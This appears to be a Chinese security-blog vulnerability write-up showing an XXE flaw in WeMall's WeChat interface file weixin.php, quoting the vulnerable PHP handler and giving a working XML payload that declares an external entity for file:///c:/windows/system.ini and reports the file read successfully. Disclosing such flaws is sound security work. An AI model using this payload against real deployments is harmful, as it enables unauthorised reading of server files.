WeMall提供最好用、最方便的微信接口,微信会员卡、优惠券、大转盘、团购、一战到底、微网站、微相册、在线预订,一应俱全。让你运营微信得心应手!。。。 weixin.php if (! isset ( $_GET ['echostr'] )) { $wechatObj->responseMsg (); } else { $wechatObj->valid(); } public function responseMsg() { //get post data, May be due to the different environments $postStr = $GLOBALS["HTTP_RAW_POST_DATA"]; //extract post data if (!empty($postStr)){ $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA); $fromUsername = $postObj->FromUserName; $toUsername = $postObj->ToUserName; $keyword = trim($postObj->Content); $time = time(); $event = $postObj->Event; $textTpl = "<xml> <ToUserName><![CDATA[%s]]></ToUserName> <FromUserName><![CDATA[%s]]></FromUserName> <CreateTime>%s</CreateTime> <MsgType><![CDATA[%s]]></MsgType> <Content><![CDATA[%s]]></Content> <FuncFlag>0</FuncFlag> </xml>"; $newsTpl = "<xml> <ToUserName><![CDATA[%s]]></ToUserName> <FromUserName><![CDATA[%s]]></FromUserName> <CreateTime>%s</CreateTime> <MsgType><![CDATA[%s]]></MsgType> <ArticleCount>1</ArticleCount> <Articles> <item> <Title><![CDATA[%s]]></Title> <Description><![CDATA[%s]]></Description> <PicUrl><![CDATA[%s]]></PicUrl> <Url><![CDATA[%s]]></Url> </item> </Articles> </xml>"; if(!empty( $keyword )) { $msgType = "news"; $Url = $this->appurl.$fromUsername; $resultStr = sprintf($newsTpl, $fromUsername, $toUsername, $time, $msgType, $this->title, $this->description, $this->picurl, $Url); echo $resultStr; }else{ 。。。。。。。。。。。。。。。 当 get echostr为空时 执行responseMsg函数。 $postStr = $GLOBALS["HTTP_RAW_POST_DATA"]; 接收数据后 $keyword = trim($postObj->Content); keyword不为空 则 $resultStr = sprintf($newsTpl, $fromUsername, $toUsername, $time, $msgType, $this->title, $this->description, $this->picurl, $Url); echo $resultStr; 我们 post 提交 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE copyright [ <!ENTITY test SYSTEM "file:///c:/windows/system.ini"> ]> <xml> <ToUserName>&test;</ToUserName> <FromUserName>111</FromUserName> <CreateTime>1402550611</CreateTime> <MsgType>123</MsgType> <FuncFlag>0</FuncFlag> <Content>123</Content> </xml> 成功读取文件
|
-
上一篇: emlog博客前台反射型XSS(无视浏览器filter) - 网站安
下一篇: 某教育培训机构网站cms#SQL注入#储存型xss - 网站安
还没有人抢沙发呢~